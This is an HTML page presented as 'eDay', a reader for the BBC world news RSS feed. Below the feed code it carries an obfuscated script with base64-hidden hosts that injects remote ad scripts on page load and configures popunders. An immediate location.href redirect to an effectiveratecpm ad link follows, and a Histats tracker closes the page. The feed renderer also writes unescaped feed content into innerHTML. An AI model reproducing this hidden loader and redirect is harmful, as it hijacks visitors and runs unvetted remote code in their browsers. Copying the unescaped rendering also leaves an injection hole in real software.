<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>eDay</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 0;
      padding: 0;
      background-color: #f4f4f4;
      color: #333;
    }
    .container {
      max-width: 800px;
      margin: 20px auto;
      padding: 20px;
      background-color: #fff;
      box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
    }
    h1 {
      text-align: center;
      color: #004276;
    }
    .news-item {
      margin-bottom: 20px;
      padding-bottom: 20px;
      border-bottom: 1px solid #ddd;
    }
    .news-item h2 {
      margin: 0;
      font-size: 1.5em;
      color: #004276;
    }
    .news-item p {
      margin: 10px 0;
      font-size: 1em;
      line-height: 1.6;
    }
    .news-item a {
      color: #004276;
      text-decoration: none;
    }
    .news-item a:hover {
      text-decoration: underline;
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>eDay</h1>
    <div id="news-feed"></div>
  </div>

  <script>
    // BBC News RSS feed URL
    const rssFeedUrl = "http://feeds.bbci.co.uk/news/world/rss.xml";

    // Fetch the RSS feed and display it
    fetch(`https://api.rss2json.com/v1/api.json?rss_url=${encodeURIComponent(rssFeedUrl)}`)
      .then(response => response.json())
      .then(data => {
        const newsFeed = document.getElementById('news-feed');
        if (data.items && data.items.length > 0) {
          data.items.forEach(item => {
            const newsItem = document.createElement('div');
            newsItem.className = 'news-item';
            newsItem.innerHTML = `
              <h2><a href="${item.link}" target="_blank">${item.title}</a></h2>
              <p>${item.description}</p>
              <p><small>Published on: ${new Date(item.pubDate).toLocaleDateString()}</small></p>
            `;
            newsFeed.appendChild(newsItem);
          });
        } else {
          newsFeed.innerHTML = '<p>No news available at the moment.</p>';
        }
      })
      .catch(error => {
        console.error('Error fetching news:', error);
        document.getElementById('news-feed').innerHTML = '<p>Failed to load news. Please try again later.</p>';
      });
  </script>
  <script type="text/javascript" data-cfasync="false">
/*<![CDATA[/* */
(function(){var u=window,i="d479e9438219d3d5cab856905eadd694",o=[["siteId",352*762-423+938-402+4909602],["minBid",0],["popundersPerIP","0"],["delayBetween",0],["default",false],["defaultPerDay",0],["topmostLayer","auto"]],t=["d3d3LmNkbjRhZHMuY29tL2psYXp5bG9hZC5taW4uY3Nz","ZDNnNW92Zm5nanc5YncuY2xvdWRmcm9udC5uZXQvaS9iY29uc29sZS5taW4uanM="],e=-1,k,a,h=function(){clearTimeout(a);e++;if(t[e]&&!(1766437550000<(new Date).getTime()&&1<e)){k=u.document.createElement("script");k.type="text/javascript";k.async=!0;var b=u.document.getElementsByTagName("script")[0];k.src="https://"+atob(t[e]);k.crossOrigin="anonymous";k.onerror=h;k.onload=function(){clearTimeout(a);u[i.slice(0,16)+i.slice(0,16)]||h()};a=setTimeout(h,5E3);b.parentNode.insertBefore(k,b)}};if(!u[i]){try{Object.freeze(u[i]=o)}catch(e){}h()}})();
/*]]>/* */
</script>

<script>location.href="https://www.effectiveratecpm.com/q5zm879a71?key=0709f8e0a4dc4d8896b4fc4d013ccd73"</script>

  <!-- Histats.com  (div with counter) --><div id="histats_counter"></div>
<!-- Histats.com  START  (aync)-->
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,4913095,4,511,95,18,00000000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
})();</script>
<noscript><a href="/" target="_blank"><img  src="//sstatic1.histats.com/0.gif?4913095&101" alt="free statistics" border="0"></a></noscript>
<!-- Histats.com  END  -->

</body>
</html>